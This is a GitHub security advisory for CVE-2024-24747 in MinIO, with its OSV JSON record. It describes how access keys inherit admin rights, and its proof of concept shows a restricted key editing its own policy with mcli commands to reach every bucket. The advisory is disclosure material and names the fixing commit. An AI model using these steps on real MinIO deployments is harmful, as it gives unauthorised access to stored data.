GHSA-XX8W-MQ23-29G4

Vulnerability from github – Published: 2024-02-01 19:21 – Updated: 2024-02-01 22:52
VLAI?
Summary
Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation
Details

Summary

When someone creates an access key, it inherits the permissions of the parent key. Not only for s3:* actions, but also admin:* actions. Which means unless somewhere above in the access-key hierarchy, the admin rights are denied, access keys will be able to simply override their own s3 permissions to something more permissive.

Credit to @xSke for sort of accidentally discovering this. I only understood the implications.

Details / PoC

We spun up the latest version of minio in a docker container and signed in to the admin UI using the minio root user. We created two buckets, public and private and created an access key called mycat and attached the following policy to only allow access to the bucket called public.

{
 "Version": "2012-10-17",
 "Statement": [
  {
   "Effect": "Allow",
   "Action": [
    "s3:*"
   ],
   "Resource": [
    "arn:aws:s3:::public",
    "arn:aws:s3:::public/*"
   ]
  }
 ]
}

We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute

And checked whether policy works:

A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT]     0B public/

Looks good, we believe this is how 99% of users will work with access policies.

If I now create a file full-access-policy.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:*"
      ],
      "Resource": [
        "arn:aws:s3:::*"
      ]
    }
  ]
}

And then:

A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat
Edited service account `mycat` successfully.

mycat has escalated its privileges to get access to the entire deployment: 

A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT]     0B private/
[0001-01-01 00:53:28 LMT]     0B public/

Impact

A trivial privilege escalation unless the operator fully understands that they need to explicitly deny admin actions on access keys.

Patched

commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)
Author: Aditya Manthramurthy <donatello@users.noreply.github.com>
Date:   Wed Jan 31 10:56:45 2024 -0800

    fix: permission checks for editing access keys (#18928)

    With this change, only a user with `UpdateServiceAccountAdminAction`
    permission is able to edit access keys.

    We would like to let a user edit their own access keys, however the
    feature needs to be re-designed for better security and integration with
    external systems like AD/LDAP and OpenID.

    This change prevents privilege escalation via service accounts.
Severity ?
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/minio/minio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20240131185645-0ae4915a9391"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-24747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-01T19:21:30Z",
    "nvd_published_at": "2024-01-31T22:15:54Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen someone creates an access key, it inherits the permissions of the parent key. Not only for \n`s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the \naccess-key hierarchy, the `admin` rights are denied, access keys will be able to simply \noverride their own `s3` permissions to something more permissive.\n\nCredit to @xSke for sort of accidentally discovering this. I only understood the implications.\n\n### Details / PoC\nWe spun up the latest version of minio in a docker container and signed in to the admin UI \nusing the minio root user. We created two buckets, `public` and `private` and created an \naccess key called `mycat` and attached the following policy to only allow access to the \nbucket called `public`.\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n  {\n   \"Effect\": \"Allow\",\n   \"Action\": [\n    \"s3:*\"\n   ],\n   \"Resource\": [\n    \"arn:aws:s3:::public\",\n    \"arn:aws:s3:::public/*\"\n   ]\n  }\n ]\n}\n```\nWe then set an alias in mc:  `mcli alias set vuln http://localhost:9001 mycat mycatiscute` \n\nAnd checked whether policy works:\n```\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B public/\n```\nLooks good, we believe this is how 99% of users will work with access policies.\n\nIf I now create a file `full-access-policy.json`:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:*\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::*\"\n      ]\n    }\n  ]\n}\n```\nAnd then:\n\n```sh\nA ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat\nEdited service account `mycat` successfully.\n```\n`mycat` has escalated its privileges to get access to the entire deployment: \n```sh\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B private/\n[0001-01-01 00:53:28 LMT]     0B public/\n```\n\n### Impact\nA trivial privilege escalation unless the operator fully understands that they need to \nexplicitly deny `admin` actions on access keys. \n\n### Patched\n\n```\ncommit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -\u003e master, origin/master)\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate:   Wed Jan 31 10:56:45 2024 -0800\n\n    fix: permission checks for editing access keys (#18928)\n    \n    With this change, only a user with `UpdateServiceAccountAdminAction`\n    permission is able to edit access keys.\n    \n    We would like to let a user edit their own access keys, however the\n    feature needs to be re-designed for better security and integration with\n    external systems like AD/LDAP and OpenID.\n    \n    This change prevents privilege escalation via service accounts.\n```\n",
  "id": "GHSA-xx8w-mq23-29g4",
  "modified": "2024-02-01T22:52:18Z",
  "published": "2024-02-01T19:21:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/minio/minio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation"
}


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